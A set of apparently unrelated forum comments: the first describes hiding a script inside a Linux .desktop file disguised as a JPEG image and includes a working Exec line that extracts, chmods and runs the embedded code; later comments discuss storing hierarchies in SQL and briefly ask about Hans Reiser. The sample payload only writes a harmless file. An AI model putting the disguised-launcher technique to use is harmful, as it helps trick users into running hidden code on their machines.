Has anyone mentioned the possibility yet of embedding the payload (malicious script, etc.) within the .desktop file? The specification allows for commenting, after all, which is a free way to embed text -- the question then merely becomes one of extracting the text from the "comments" at the tail end of a .desktop file, outputting it to its own file, and executing.

To wit, in a file called blah.desktop:

[OMGMALICIOUS]
Version=1.0
Type=Application
Name=HOT XXX JENNA JAMESON.jpg
Icon=jpegicon.png
Exec=bash -c "tail -n +7 blah.desktop | sed -E 's/^#(.*)$/\1/g' > malscript; chmod 777 malscript; ./malscript"
##!/bin/bash
##
## OMG MALICIOUS
#
#echo OMG HI PWNED J00 > pwned

Which would then open the door to other types of scripts being embedded within the .desktop file, such as Python or Perl (the latter of which is probably the even more widespread of the two!)

This method has a few benefits over the described one, including: offline execution of malware, no further download beyond the .desktop required; semi-easy modification of the embedded script (you can add or remove lines as you wish and even leave comments in thanks to the tail and sed commands used); and the embedded file could easily make the .desktop file it's contained in reach file size levels (something I, personally, look at with certain files) roughly equivalent to the file it's attempting to masquerade as. Theoretically, so long as you remembered to escape things properly, you could possibly even include binaries within the .desktop file in this manner(!!!!).

This of course comes no closer to the holy grail that is root, but still an interesting twist on the same process...

A great example is try storing an organizational hierarchy in a database. Query it for basic info such as a list of a manager and all subordinates and superiors. Now try to ask it for the full path between employees. Keep asking it questions about the hierarchy. In just about every relational db it is a fail. Oracle for instance even realized things like this and added "Connect By." Storing the data itself is a nightmare and you end up needing something like nested sets, self joining queries, cursors (never), handing it off to an application (aka relational failure), or materialized path.

I am probably running into the exact problems with relational that you are describing here, but if you wanted all subordinates *AND* superiors to a given person, could you not do:

SELECT name, subord, relation = if(name='personsname','Supervisor','Subordinate') FROM employees WHERE name = 'personsname' OR subord = 'personsname';

Or something related? (note: this is pseudo-SQL)

But I do agree that SQL, at least, is way too "short-sighted" to (easily?) descend or walk through an entire, specific hierarchy. You might get *some* level of recursion in there, but not easily in one SELECT statement.

Reiser (as in Hans Reiser/ReiserFS creator) murdered his wife?